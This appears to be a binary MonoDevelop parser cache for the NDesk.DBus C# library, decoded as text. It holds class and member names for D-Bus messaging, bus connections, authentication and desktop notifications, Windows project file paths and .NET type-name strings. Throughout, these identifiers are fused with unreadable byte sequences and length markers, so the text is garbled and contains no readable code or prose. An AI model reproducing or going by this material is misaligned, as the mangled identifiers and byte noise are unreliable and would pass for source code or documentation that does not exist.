^þÿÿÿ˜˜%›l DecomposedþÿÿÿžŸ§ÿmSystemnString ¦oParentþÿÿÿ©ªµÿhf«´‡f HeaderFlagþÿÿÿtgFlagsss(tyh}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csi NDesk.DBusjNoneþÿÿÿ vkNoReplyExpectedþÿÿÿ wl NoAutoStartþÿÿÿ x.f EndianFlagþÿÿÿmmqg}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csh NDesk.DBusiLittleþÿÿÿ ojBigþÿÿÿ p)f FieldCodeþÿÿÿ]]kg}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csh NDesk.DBus iInvalidþÿÿÿ _jPathþÿÿÿ `k Interfaceþÿÿÿ alMemberþÿÿÿ bm ErrorNameþÿÿÿ cn ReplySerialþÿÿÿ do Destinationþÿÿÿ epSenderþÿÿÿ fq Signatureþÿÿÿ gŸf MessageTypeþÿÿÿOO[g}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csh NDesk.DBusiInvalidþÿÿÿ Rj MethodCallþÿÿÿ Tk MethodReturnþÿÿÿ VlErrorþÿÿÿ XmSignalþÿÿÿ Z¹fHeaderþÿÿÿB 5g}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csh NDesk.DBusi Endiannessþÿÿÿ ÿhj EndianFlagk MessageTypeþÿÿÿÿhklFlagsþÿÿÿÿhm HeaderFlagn MajorVersionþÿÿÿoLengthþÿÿÿ pSerialþÿÿÿ qFieldsþÿÿÿ(ÿrSystem.Collections.Generics IDictionaryÿht FieldCodef PendingCallþÿÿÿ  >g€C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\PendingCall.csh NDesk.DBusiconnþÿÿÿ ÿhj Connectionkreplyþÿÿÿ ÿhlMessagemlockObjþÿÿÿ nwaitersþÿÿÿ þÿÿÿ  'iÿhj"oReplyþÿÿÿ;ÿhl00:p Completedþÿÿÿ= ÿqSystemrActionÿhlfAddressþÿÿÿ‚nnŸg|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Address.csh NDesk.DBusiSYSTEM_BUS_ADDRESSþÿÿÿ~jParseþÿÿÿˆq q8|ÿhk AddressEntryl addressesq.mSystemþÿÿÿˆˆ€‰ˆnSessionþÿÿÿˆˆ‹ŒoStarterþÿÿÿˆˆ’“—”–pStarterBusTypeþÿÿÿˆˆ™šž›ßf AddressEntryþÿÿÿlg|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Address.csh NDesk.DBusiMethodþÿÿÿj Propertiesþÿÿÿ%ÿkSystem.Collections.Genericl IDictionary^þÿÿÿ%(mEscapeþÿÿÿ**$=nstr* oUnescapeþÿÿÿ??&On?"pParseþÿÿÿˆRR.kÿhf.R,NfBadAddressExceptionþÿÿÿ  "g|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Address.csh NDesk.DBusþÿÿÿ - @ireason &ƒf MessageFilterþÿÿÿ  9g‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\MessageFilter.csh NDesk.DBusiMessageTypeToStringþÿÿÿˆ?jmtypeÿhk MessageType9lStringToMessageTypeþÿÿÿˆ!!>2ÿhkW!9mCreateMatchRuleþÿÿÿˆ55;8jÿhk55ÄfMessageþÿÿÿ  Yg|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Message.csh NDesk.DBusiHeaderþÿÿÿÿhij ConnectionþÿÿÿÿhjkBodyþÿÿÿ9ÿlSystemmByteþÿÿÿ n SetHeaderDataþÿÿÿFF*LÿlmF%o GetHeaderDataþÿÿÿNN!Xÿlmp Signatureþÿÿÿ(ÿhp""'q ReplyExpectedþÿÿÿ*+4,..3¢f MatchRuleþÿÿÿ  ãg~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\MatchRule.csh NDesk.DBusi MessageTypeþÿÿÿÿjSystemkNullableÿhil InterfaceþÿÿÿmMemberþÿÿÿnPathþÿÿÿÿho ObjectPathpSenderþÿÿÿq DestinationþÿÿÿrArgsþÿÿÿ0ÿsSystem.Collections.GenerictSortedDictionary þÿÿÿ  uAppendþÿÿÿ;#vsb)`5w AppendArgþÿÿÿ%%=(v%! %)`%7þÿÿÿ**)H&*'x GetHashCodeþÿÿÿJJ%N ^þÿÿÿPP%myMatchesþÿÿÿpp$•zmsgÿh{Messagep |Parseþÿÿÿˆ˜˜.âÿhfW˜)¢ f Introspectorþÿÿÿ5g‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Introspection.csh NDesk.DBusi NAMESPACEþÿÿÿjPUBLIC_IDENTIFIERþÿÿÿkSYSTEM_IDENTIFIERþÿÿÿlsbþÿÿÿmxmlþÿÿÿn root_pathþÿÿÿÿho ObjectPathpwriterþÿÿÿÿq System.Xmlr XmlWritersrelevantBindingFlagsþÿÿÿÚÿtSystem.Reflectionu BindingFlagsþÿÿÿ  %vGetProductDescriptionþÿÿÿ'')6w WriteStartþÿÿÿ88@x WriteNodeþÿÿÿBB&G!B!yWriteEndþÿÿÿIIWz WriteTypeþÿÿÿZZ+q{ target_typeZ|WriteArgþÿÿÿss*v}piÿt~ ParameterInfos'WriteArgReverseþÿÿÿxx1{}ÿt~x.|þÿÿÿ~~Sš€argType~argName~.‚argIsOut~<ƒreverse~K„ WriteMethodþÿÿÿœœ*«…miÿt† MethodInfoœ'‡ WritePropertyþÿÿÿ­­/ʈpriÿt‰ PropertyInfo­+Š WriteSignalþÿÿÿÌÌ)Ø‹eiÿtŒ EventInfoÌ&WriteInterfaceþÿÿÿÜÜ)_Ü$ŽWriteAnnotationsþÿÿÿG attrProviderÿtICustomAttributeProvider:‘WriteAnnotationþÿÿÿ:!'`4’ WriteEnumþÿÿÿ""$4_"÷f ExportObjectþÿÿÿhgC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\ExportObject.csh NDesk.DBusÿhi BusObject'þÿÿÿþÿÿÿ  Ljconnÿhk Connection#l object_pathÿhm ObjectPath4'HnHandleMethodCallþÿÿÿ..8[o method_callÿhp MethodCall.,q Registeredþÿÿÿ,+ëfDProxyþÿÿÿ  Ng{C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DProxy.csh NDesk.DBusÿiSystem.Runtime.Remoting.Proxiesj RealProxyk busObjectþÿÿÿÿhl BusObjectmmi_GetHashCodeþÿÿÿÿnSystem.Reflectiono MethodInfop mi_Equalsþÿÿÿÿnoq mi_ToStringþÿÿÿÿnormi_GetLifetimeServiceþÿÿÿÿnoþÿÿÿ  1kÿhl_,sGetDefaultReturnþÿÿÿ ;'tmiÿnu MethodBase'vinArgsÿwSystemxObject4þÿÿÿ))5?ÿy!System.Runtime.Remoting.MessagingzIMessageÿyz)-{.dtorþÿÿÿ HH MlfIBusþÿÿÿIg InterfaceHHÿh NDesk.DBusiInterfaceAttributejorg.freedesktop.DBusI_kyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.csjÿjlIntrospectablem RequestNameþÿÿÿKÿjnRequestNameReply!K(oflagsÿjpNameFlagK7q ReleaseNameþÿÿÿLÿjrReleaseNameReply!L(sHelloþÿÿÿM t ListNamesþÿÿÿN ÿuSystemvStringwListActivatableNamesþÿÿÿO ÿuvx NameHasOwnerþÿÿÿP!PyStartServiceByNameþÿÿÿTÿjz StartReply!T)o T4{ GetNameOwnerþÿÿÿU !U|GetConnectionUnixUserþÿÿÿV }connection_nameV&~AddMatchþÿÿÿWruleW€ RemoveMatchþÿÿÿXXListQueuedOwnersþÿÿÿ[ ÿuv![%‚GetConnectionUnixProcessIDþÿÿÿ\ }\+ƒ#GetConnectionSELinuxSecurityContextþÿÿÿ] ÿu„Byte}]6… ReloadConfigþÿÿÿ^†NameOwnerChangedþÿÿÿQ!ÿ‡NameOwnerChangedHandlerˆNameLostþÿÿÿRÿ‰NameLostHandlerŠ NameAcquiredþÿÿÿSÿ‹NameAcquiredHandler”f Propertiesþÿÿÿ?g Interface>>ÿh NDesk.DBusiInterfaceAttributejorg.freedesktop.DBus.Properties?FkyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cslorg.freedesktop.DBusmGetþÿÿÿB nArgumentA A ÿhoArgumentAttribute`p interfaceBqpropnameB)rSetþÿÿÿCpCqC'`C8sGetAllþÿÿÿEnD D ÿhotpropsÿuSystem.Collections.Genericv IDictionarypE+#fIntrospectableþÿÿÿ8g Interface77ÿh NDesk.DBusiInterfaceAttributej#org.freedesktop.DBus.Introspectable8!<kyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cslorg.freedesktop.DBusm Introspectþÿÿÿ; nArgument: : ÿhoArgumentAttributeOfPeerþÿÿÿ0g Interface//ÿh NDesk.DBusiInterfaceAttributejorg.freedesktop.DBus.Peer05kyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cslorg.freedesktop.DBusmPingþÿÿÿ2n GetMachineIdþÿÿÿ4 oArgument3 3 ÿhpArgumentAttributeq machine_uuidfNameLostHandlerþÿÿÿ-gyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.csþÿÿÿ-!-/fNameAcquiredHandlerþÿÿÿ,gyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.csþÿÿÿ,!,3YfNameOwnerChangedHandlerþÿÿÿ+gyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.csþÿÿÿ+!+7h old_owner+Di new_owner+V@f StartReplyþÿÿÿ##)gyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cshorg.freedesktop.DBusiSuccessþÿÿÿ &jAlreadyRunningþÿÿÿ (gfReleaseNameReplyþÿÿÿ!gyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cshorg.freedesktop.DBusiReleasedþÿÿÿ j NonExistentþÿÿÿ kNotOwnerþÿÿÿ ŒfRequestNameReplyþÿÿÿgyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cshorg.freedesktop.DBusi PrimaryOwnerþÿÿÿ jInQueueþÿÿÿ kExistsþÿÿÿ l AlreadyOwnerþÿÿÿ µfNameFlagþÿÿÿ gFlags  ( hyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.csiorg.freedesktop.DBusjNoneþÿÿÿ kAllowReplacementþÿÿÿ lReplaceExistingþÿÿÿ m DoNotQueueþÿÿÿ Gf Connectionþÿÿÿ! gC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Connection.csh NDesk.DBus insþÿÿÿ ÿj System.IOkStreaml transportþÿÿÿ ÿmNDesk.DBus.Transportsn TransportoisAuthenticatedþÿÿÿ`pserialþÿÿÿi q writeLockþÿÿÿ‘ rInboundþÿÿÿ¡ÿsSystem.Collections.GenerictQueueÿhuMessagev mainThreadþÿÿÿ,ÿwSystem.ThreadingxThready pendingCallsþÿÿÿp ÿsz Dictionary ÿh{ PendingCall|Handlersþÿÿÿ+ÿszÿh} MatchRule0~RegisteredObjectsþÿÿÿÍ$ÿszÿh ObjectPathÿh€ BusObjectNativeEndiannessþÿÿÿ‚'ÿh‚ EndianFlagþÿÿÿ  þÿÿÿ ,'lÿmn "þÿÿÿ * *'.ƒaddress*„Openþÿÿÿˆ;;1Bÿhfƒ;)… OpenPrivateþÿÿÿDD-TƒD%† AuthenticateþÿÿÿVV^‡GenerateSerialþÿÿÿjjn ˆSendWithReplyAndBlockþÿÿÿpp7tÿhu‰msgÿhup3Š SendWithReplyþÿÿÿvv3‚ÿh{‰ÿhuv/‹Sendþÿÿÿ„„# ‰ÿhu„Œ WriteMessageþÿÿÿ’’+Ÿ‰ÿhu’' ReadMessageþÿÿÿÏÏ"ÿhuŽDispatchSignalsþÿÿÿ""#*Iterateþÿÿÿ//7 HandleMessageþÿÿÿ99,n‰ÿhu9(‘ HandleSignalþÿÿÿss+‹‰ÿhus'’MaybeSendUnknownMethodErrorþÿÿÿE•“ method_callÿh” MethodCall9•HandleMethodCallþÿÿÿ˜˜:Ë“ÿh”˜.– GetObjectþÿÿÿÒÒHã_Ò!—bus_nameÒ.)ÿhÒC–þÿÿÿå å;èÿ˜T—å!)ÿhå6˜™RegisterþÿÿÿëšObsoleteêê›GUse the overload of Register() which does not take a bus_name parameterëFî—ë )ÿhë5'ëBœ UnregisterþÿÿÿñšððIUse the overload of Unregister() which does not take a bus_name parameterñ>ô—ñ$)ÿhñ9™þÿÿÿöö5ý)ÿhö$'ö1œþÿÿÿÿÿ- )ÿhÿ(žAddMatchþÿÿÿ&#9Ÿrule4  RemoveMatchþÿÿÿ&#<Ÿ7þÿÿÿ  nþÿÿÿ ÿmn¡IsAuthenticatedþÿÿÿabfce f BusObjectþÿÿÿ  /g~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\BusObject.csh NDesk.DBusiconnþÿÿÿÿhj Connectionkbus_nameþÿÿÿ l object_pathþÿÿÿÿhm ObjectPathþÿÿÿ  þÿÿÿ  Niÿhj k-lÿhmBn ToggleSignalþÿÿÿ33TIoiface3$pmember32qdlg03Cradding3Ms SendSignalþÿÿÿKK…ZoK"pK0tinSigStrK?uwriterÿhv MessageWriterKWwretTypeKdx exceptionK{ySendMethodCallþÿÿÿ\\‹¨o\(p\6t\Euÿhv\]w\jx\þÿÿÿªª“z methodBaseÿ{System.Reflection| MethodBaseª"} methodNameª5~inArgsÿSystem€ObjectªJoutArgsÿ€ª_‚retValªsxª‰ƒ GetObjectþÿÿÿˆk'iÿhj.k;lÿhmP„declTypeb…GetHookupDelegateþÿÿÿ))3.0†eiÿ{‡ EventInfo)0jþÿÿÿ#ÿhj "ˆBusNameþÿÿÿ%&*')‰Pathþÿÿÿ,-1ÿhm.01 fBusþÿÿÿH  ¬gxC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Bus.csh NDesk.DBusÿhi Connectionj systemBusþÿÿÿ ÿhfk sessionBusþÿÿÿ ÿhfl starterBusþÿÿÿ4ÿhfmbusesþÿÿÿH!ÿnSystem.Collections.Generico DictionaryÿhfpbusþÿÿÿYÿqorg.freedesktop.DBusrIBussDBusNameþÿÿÿ[tDBusPathþÿÿÿ\ÿhu ObjectPathv unique_nameþÿÿÿ¡  wOpenþÿÿÿˆKK.WÿhfxaddressK&þÿÿÿ ^ ^hx^yRegisterþÿÿÿllrz GetUnixUserþÿÿÿtt)w!t${ RequestNameþÿÿÿyy4|ÿq|RequestNameReply!y/{þÿÿÿ~~Dÿq|!~/}flagsÿq~NameFlag~> ReleaseNameþÿÿÿƒƒ4†ÿq€ReleaseNameReply!ƒ/ NameHasOwnerþÿÿÿˆˆ)‹!ˆ$‚StartServiceByNameþÿÿÿ5ÿqƒ StartReply!0‚þÿÿÿ’’A•ÿqƒ!’0} ’;„AddMatchþÿÿÿ—$—:š…rule—5† RemoveMatchþÿÿÿœ$œ=Ÿ…œ8‡SystemþÿÿÿˆˆÿhfˆSessionþÿÿÿˆˆ!"1ÿhf#0‰Starterþÿÿÿˆˆ56Bÿhf7AŠ UniqueNameþÿÿÿ¢£«¤¦¦ª^f SaslClientþÿÿÿ‡gƒC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Authentication.cshNDesk.DBus.Authenticationiconnþÿÿÿÿj NDesk.DBusk Connectionþÿÿÿ  !þÿÿÿ # #&&iÿjk#!lRunþÿÿÿ((HmUnixToDateTimeþÿÿÿˆLL4Qntime L/oDateTimeToUnixþÿÿÿˆSS4Z nS/pToHexþÿÿÿˆ^^,hqinputÿrSystemsByte^&t FromHexCharþÿÿÿkk+tuck)vFromHexþÿÿÿˆww,†ÿrswhexw(‚f ServerStateþÿÿÿgƒC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Authentication.cshNDesk.DBus.AuthenticationiWaitingForAuthþÿÿÿ jWaitingForDataþÿÿÿ kWaitingForBeginþÿÿÿ f ClientStateþÿÿÿ  gƒC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Authentication.cshNDesk.DBus.AuthenticationiWaitingForDataþÿÿÿ j WaitingForOKþÿÿÿ kWaitingForRejectþÿÿÿ Sf Notificationsþÿÿÿg Interfaceÿghorg.freedesktop.Notifications i‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Notifications.csjorg.freedesktopÿkIntrospectableÿl PropertiesmGetServerInformationþÿÿÿÿjnServerInformationoGetCapabilitiesþÿÿÿ ÿpSystemqStringrCloseNotificationþÿÿÿsid  tNotifyþÿÿÿ uapp_names &vicon1wsummary>xbodyNyactionsÿpq]zhintsÿ{System.Collections.Generic| IDictionary}timeout ŒˆfServerInformationþÿÿÿH!g‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Notifications.cshorg.freedesktop"þÿÿÿiVendorþÿÿÿjVersionþÿÿÿk SpecVersionþÿÿÿ fC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\AssemblyInfo.csgAssemblyFileVersion  ÿhSystem.ReflectioniAssemblyFileVersionAttributej0.6.0fkAssemblyInformationalVersion ÿhl%AssemblyInformationalVersionAttributejfmAssemblyVersion ÿhnAssemblyVersionAttributejfo AssemblyTitle ÿhpAssemblyTitleAttributeq NDesk.DBusfrAssemblyDescription ÿhsAssemblyDescriptionAttributet*D-Bus IPC protocol library and CLR bindingfuAssemblyCopyright ÿhvAssemblyCopyrightAttributewCopyright (C) Alp TokerfxAssemblyCompany  ÿhyAssemblyCompanyAttributezNDeskf{InternalsVisibleTo  ÿ|System.Runtime.CompilerServices}InternalsVisibleToAttribute~ dbus-monitorf{  ÿ|}NDesk.DBus.GLibf{  ÿ|}€NDesk.DBus.Proxiesÿÿÿÿ     GMonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null•System.Collections.Generic.List`1[[MonoDevelop.Projects.Dom.ReferenceEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]_items_size_version)MonoDevelop.Projects.Dom.ReferenceEntry[] ‚System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]VersionComparerHashSize KeyValuePairs’System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]†System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]][]ñ Y System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]VersionComparerHashSize KeyValuePairs’System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]…System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]][]P Y System.Collections.Hashtable LoadFactorVersionComparerHashCodeProviderHashSizeKeysValues System.Collections.IComparer$System.Collections.IHashCodeProviderìQ8?  'MonoDevelop.Projects.Dom.ReferenceEntry     ’System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] /„System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]îÿÿÿ„System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]keyvalue1MonoDevelop.Projects.Dom.Serialization.ClassEntryNDesk.DBus.Signal ëÿÿÿîÿÿÿNDesk.DBus.Error èÿÿÿîÿÿÿNDesk.DBus.MethodReturn åÿÿÿîÿÿÿNDesk.DBus.MethodCall âÿÿÿîÿÿÿ#NDesk.DBus.Transports.UnixTransport ßÿÿÿîÿÿÿ"NDesk.DBus.TypeImplementer #Üÿÿÿîÿÿÿ%NDesk.DBus.Transports.Transport &Ùÿÿÿîÿÿÿ(%NDesk.DBus.Transports.SocketTransport )Öÿÿÿîÿÿÿ+NDesk.DBus.DType ,Óÿÿÿîÿÿÿ.NDesk.DBus.ArgDirection /Ðÿÿÿîÿÿÿ1NDesk.DBus.Signature 2Íÿÿÿîÿÿÿ4NDesk.DBus.Protocol 5Êÿÿÿîÿÿÿ7NDesk.DBus.ObjectPath 8Çÿÿÿîÿÿÿ:NDesk.DBus.HeaderFlag ;Äÿÿÿîÿÿÿ=NDesk.DBus.EndianFlag >Áÿÿÿîÿÿÿ@NDesk.DBus.FieldCode A¾ÿÿÿîÿÿÿCNDesk.DBus.MessageType D»ÿÿÿîÿÿÿFNDesk.DBus.Header G¸ÿÿÿîÿÿÿINDesk.DBus.PendingCall JµÿÿÿîÿÿÿLNDesk.DBus.Address M²ÿÿÿîÿÿÿONDesk.DBus.AddressEntry P¯ÿÿÿîÿÿÿRNDesk.DBus.BadAddressException S¬ÿÿÿîÿÿÿUNDesk.DBus.MessageFilter V©ÿÿÿîÿÿÿXNDesk.DBus.Message Y¦ÿÿÿîÿÿÿ[NDesk.DBus.MatchRule \£ÿÿÿîÿÿÿ^NDesk.DBus.Introspector _ ÿÿÿîÿÿÿaNDesk.DBus.ExportObject bÿÿÿîÿÿÿdNDesk.DBus.DProxy ešÿÿÿîÿÿÿgorg.freedesktop.DBus.IBus h—ÿÿÿîÿÿÿjorg.freedesktop.DBus.Properties k”ÿÿÿîÿÿÿm#org.freedesktop.DBus.Introspectable n‘ÿÿÿîÿÿÿporg.freedesktop.DBus.Peer qŽÿÿÿîÿÿÿsNameLostHandler t‹ÿÿÿîÿÿÿvNameAcquiredHandler wˆÿÿÿîÿÿÿyNameOwnerChangedHandler z…ÿÿÿîÿÿÿ|org.freedesktop.DBus.StartReply }‚ÿÿÿîÿÿÿ%org.freedesktop.DBus.ReleaseNameReply €ÿÿÿîÿÿÿ‚%org.freedesktop.DBus.RequestNameReply ƒ|ÿÿÿîÿÿÿ…org.freedesktop.DBus.NameFlag †yÿÿÿîÿÿÿˆNDesk.DBus.Connection ‰vÿÿÿîÿÿÿ‹NDesk.DBus.BusObject ŒsÿÿÿîÿÿÿŽNDesk.DBus.Bus pÿÿÿîÿÿÿ‘$NDesk.DBus.Authentication.SaslClient ’mÿÿÿîÿÿÿ”%NDesk.DBus.Authentication.ServerState •jÿÿÿîÿÿÿ—%NDesk.DBus.Authentication.ClientState ˜gÿÿÿîÿÿÿšorg.freedesktop.Notifications ›dÿÿÿîÿÿÿ!org.freedesktop.ServerInformation ž ƒSystem.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]aÿÿÿƒSystem.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]keyvalue0MonoDevelop.Projects.Dom.Serialization.FileEntry C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\AssemblyInfo.cs ¡^ÿÿÿaÿÿÿ£ƒC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Authentication.cs ¤[ÿÿÿaÿÿÿ¦xC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Bus.cs §Xÿÿÿaÿÿÿ©~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\BusObject.cs ªUÿÿÿaÿÿÿ¬C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Connection.cs ­Rÿÿÿaÿÿÿ¯yC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cs °Oÿÿÿaÿÿÿ²{C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DProxy.cs ³LÿÿÿaÿÿÿµC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\ExportObject.cs ¶Iÿÿÿaÿÿÿ¸‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Introspection.cs ¹Fÿÿÿaÿÿÿ»{C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Mapper.cs ¼Cÿÿÿaÿÿÿ¾~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\MatchRule.cs ¿@ÿÿÿaÿÿÿÁ|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Message.cs Â=ÿÿÿaÿÿÿÄ‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\MessageFilter.cs Å:ÿÿÿaÿÿÿÇ‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\MessageReader.cs È7ÿÿÿaÿÿÿÊ‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\MessageWriter.cs Ë4ÿÿÿaÿÿÿÍ|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Address.cs Î1ÿÿÿaÿÿÿЀC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\PendingCall.cs Ñ.ÿÿÿaÿÿÿÓ}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.cs Ô+ÿÿÿaÿÿÿÖ~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Signature.cs ×(ÿÿÿaÿÿÿÙ„C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\SocketTransport.cs Ú%ÿÿÿaÿÿÿÜ~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Transport.cs Ý"ÿÿÿaÿÿÿß„C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\TypeImplementer.cs àÿÿÿaÿÿÿâˆC:\Documents and Settings\The Baron\My Documents\Visual Studio 